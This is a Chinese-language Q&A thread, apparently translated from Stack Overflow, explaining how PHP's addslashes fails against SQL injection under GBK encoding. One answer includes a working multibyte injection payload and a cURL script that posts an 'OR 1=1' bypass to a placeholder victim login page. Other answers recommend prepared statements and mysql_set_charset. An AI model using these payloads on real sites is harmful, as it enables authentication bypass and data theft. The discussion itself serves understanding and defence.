69

在 PHP 中,我知道这mysql_real_escape比使用addslashes. 但是,我找不到addslashes让 SQL 注入发生的情况的示例。

谁能举一些例子?

4

4 回答 4

48

嗯,这就是你想要的文章

基本上,攻击的工作方式是addslashes()将反斜杠放在多字节字符的中间,这样反斜杠就会因为成为有效多字节序列的一部分而失去意义。

文章中的一般警告:

0x5c这种类型的 攻击对于任何以addslashes(). UTF-8 不符合此描述。

于 2009-05-13T23:40:31.077 回答
4

Chris Shiflett用下面的例子清楚地解释了,如果你在数据库中使用 GBK 编码时尝试一下,那当然会起作用。即使我尝试过,这也证明了sql注入的机会,虽然很少,但是有知识和能力的人可以轻松注入。这是一个例子......

<?php 

       $mysql = array();
       $db = mysqli_init();
       $db->real_connect('localhost', 'myuser', 'mypass', 'mydb');

       /* SQL Injection Example */

       $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
       $_POST['password'] = 'guess';

       $mysql['username'] = addslashes($_POST['username']);
       $mysql['password'] = addslashes($_POST['password']);

       $sql = "SELECT * FROM   users
               WHERE username = '{$mysql['username']}'
               AND password = '{$mysql['password']}'";

       $result = $db->query($sql);

       if ($result->num_rows) {
              /* Success */
       } else {
              /* Failure */
       }

?>

虽然使用addslashes() 或magic_quotes_gpc 通常会被认为有些安全,但使用GBK 会使它们几乎无用。下面的 PHP cURL 脚本将能够利用注入,我希望这能帮助你更多地理解:

<?php

       $url     = "http://www.victimsite.com/login.php";
       $ref     = "http://www.victimsite.com/index.php";
       $session = "PHPSESSID=abcdef01234567890abcdef01";

       $ch      = curl_init();

       curl_setopt( $ch, CURLOPT_URL,            $url     );
       curl_setopt( $ch, CURLOPT_REFERER,        $ref     );
       curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE     );
       curl_setopt( $ch, CURLOPT_COOKIE,         $session );
       curl_setopt( $ch, CURLOPT_POST,           TRUE     );
       curl_setopt( $ch, CURLOPT_POSTFIELDS,     "username=" . chr(0xbf) . chr(0x27) .
                                                 "OR 1=1/*&submit=1" );

       $data = curl_exec( $ch );

       print( $data );
       curl_close( $ch );
 ?>
于 2012-10-19T09:50:53.190 回答
3

作为对这里答案读者的补充:这个 MySQL 错误已经修复:)

此外,使用准备好的语句始终是一种好习惯。这是您可以触发查询的最无漏洞利用的方式(并且在几个用例中是性能最高的)。它会让你摆脱这个缺陷。

于 2012-06-30T04:09:44.180 回答
1

mysql_real_escape_string() 与 Prepared Statements 对比清楚地解释了mysql_real_escape_string() 不是 100% 安全的。

使用mysql_set_charset('GBK')代替mysql_query("SET CHARACTER SET 'GBK'"), mysql_real_escape_string() 可以 100% 安全。

于 2014-07-02T09:01:11.273 回答